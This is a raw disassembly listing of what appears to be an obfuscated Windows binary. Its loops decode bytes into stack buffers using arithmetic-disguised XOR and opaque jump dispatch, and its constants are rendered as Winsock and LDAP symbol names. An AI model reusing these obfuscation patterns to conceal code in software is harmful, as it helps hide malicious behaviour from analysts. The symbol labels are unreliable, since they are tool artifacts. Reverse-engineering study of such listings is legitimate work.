jmp 0x1400cb883
movzx r11d, dil
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0xd
add r11b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x39
add r10b, r11b
mov byte [rbp + rdi + 0x5d0], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400cae42
lea ecx, [rdi - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x4f
inc r9
dec rdi
inc rdi
jmp 0x1400cae42
lea ecx, [rdi + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6f
dec rdi
inc rdi
jmp 0x1400cae42
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
sub bl, 0x67
movzx r11d, dil
sub r11b, 0x63
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x4b
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rdi + 0x5d0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x5d0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
add bl, 0x1d
movzx eax, byte [rbp + rdi + 0x5d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cae42
sub r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x5b
jmp 0x1400cae40
sub r11b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x63
jmp 0x1400cae30
lea rdx, [rbp + 0x1717d44]
jmp 0x1400cb9f3
lea rdx, [rbp + 0x5f8b5b]
jmp 0x1400cb9f3
lea rdx, [rbp + 0x5d0]
mov rcx, rsi
call fcn.140059ac0
mov byte [rbp + 0x170], 0x5e
mov byte [rbp + 0x171], 8
mov byte [rbp + 0x172], 4
mov byte [rbp + 0x173], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x174], xmm0
mov qword [rbp + 0x184], rax
mov dword [rbp + 0x18c], eax
mov byte [rbp + 0x190], al
movabs rdi, 0x85c4384dfc34d7d5
movabs rsi, 0x914ca8e9f49e877f
movabs r14, 0xa85d8a21e571e6d3
movzx edx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r11d, r11d
cmp r11, 0x21
jae 0x1400cc485
movzx r10d, byte [rbp + r11 + 0x170]
mov ebx, r10d
nop dword [rax]
cmp r8, r11
ja 0x1400cc47a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cbac2
lea rcx, [r11 + rdi]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
add dl, 0x2d
jmp 0x1400cbaef
je 0x1400cc40f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cc389
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cc336
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cc316
nop
cmp r9, r11
ja 0x1400cc46f
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400cbb1f
lea edx, [r11 + 0x79]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x4f
add dl, r10b
jmp 0x1400cbb5f
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cc2d2
inc rax
cmp r8, rax
je 0x1400cc2b2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cc294
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cc27a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400cc24e
nop
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400cbfaa
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cbf8d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400cbf6a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cbf47
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400cbf2d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400cbf10
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400cbef3
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400cbed9
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400cbeaa
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400cbb70
lea r8, [r9 + 2]
lea r9, [r8 + 5]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400cc454
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400cc438
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400cbcd0
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400cbe5e
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400cbe15
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400cbdd8
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400cbdb2
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400cbb70
lea r8, [r9 + 0x2a]
lea r9, [r8 + 3]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cbd85
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400cbd68
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400cbd4d
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400cbd2c
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400cbd06
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400cbcea
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400cbb70
lea r8, [r9 + 0x41]
lea r9, [r8 + 1]
jmp 0x1400cbb70
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x45
jmp 0x1400cba90
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x78
add dl, cl
jmp 0x1400cc2e7
lea edx, [r11 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x2c
dec r11
inc r11
jmp 0x1400cba73
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400cc39a
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400cc3ca
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x48
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x4f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x29
mov byte [rbp + r11 + 0x170], dl
inc r11
jmp 0x1400cba73
lea edx, [r11 - 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x7d
add dl, cl
cmp r9, 0x40
jb 0x1400cbdc8
lea edx, [r11 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x24]
jmp 0x1400cc2e7
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x23
cmp r8, 0x64
jae 0x1400cc218
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400cc164
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400cbdef
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x37
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400cc238
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400cc0be
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x47
jmp 0x1400cbe2a
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x34
jmp 0x1400cc3ca
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400cc39c
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400cc371
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x42
jmp 0x1400cc36e
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x50
inc r9
dec r11
inc r11
jmp 0x1400cba73
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400cc2e7
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400cbfd4
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2d
jmp 0x1400cbe73
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cc010
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
inc rax
cmp r8, rax
jne 0x1400cc039
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400cc39c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cc060
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x36
jmp 0x1400cc36e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cc08e
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx ebx, r11b
jmp 0x1400cc34e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cbe73
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400cba73
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400cc0e5
lea ecx, [r11 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
jmp 0x1400cc2e7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cc112
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x39
dec r11
inc r11
jmp 0x1400cba73
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400cc13d
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x21
movzx ebx, r11b
jmp 0x1400cc34e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400cbe2a
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2f
jmp 0x1400cc39c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cc19d
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
inc rax
cmp r8, rax
jne 0x1400cc1c6
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400cc39c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cc1ee
lea ecx, [r11 - 0x1e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x2e
jmp 0x1400cc371
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cbdef
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400cc36e
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x24
add cl, cl
add dl, cl
movzx ebx, r11b
jmp 0x1400cc34e
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rcx - 0x5e]
jmp 0x1400cc39c
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x25
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x33
jmp 0x1400cc371
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x19
movzx ebx, r11b
jmp 0x1400cc34e
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x41
dec r11
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xb
movzx ecx, r11b
sub cl, 0x4d
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x1b
add r10b, cl
mov byte [rbp + r11 + 0x170], r10b
inc r9
dec r11
inc r11
jmp 0x1400cba73
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5d
dec r11
inc r11
jmp 0x1400cba73
movzx ebx, r11b
lea ecx, [rbx - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x49
add bl, 0x5d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x75
add r10b, dl
add r10b, bl
mov byte [rbp + r11 + 0x170], r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400cba73
lea rcx, [r11 + r14]
and bl, cl
add bl, bl
movzx edx, r10b
sub dl, bl
add dl, 0x3b
add dl, cl
movzx ebx, r11b
add bl, 7
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x31
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x170], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 4
add r10b, cl
mov byte [rbp + r11 + 0x170], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
lea rax, [r11 + rsi]
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
sub dl, 0x79
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400cba73
sub r11b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x61
jmp 0x1400cba70
dec r11b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 7
jmp 0x1400cba60
mov eax, dword [rbp + 0x141048c]
jmp 0x1400cc48b
mov eax, dword [rbp + 0x75dc61]
jmp 0x1400cc48b
mov eax, dword [rbp + 0x170]
cdqe
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x80]
call fcn.14004ff70
mov rcx, rax
call fcn.14004ffe0
nop
lea rcx, [rbp + 0x4840]
call fcn.140003be0
nop
lea rcx, [rbp + 0x47c8]
call fcn.140002a20
nop
lea rcx, [rbp + 0x47e8]
call fcn.140002a20
jmp 0x1400ca0e6
call fcn.14005ed20
int3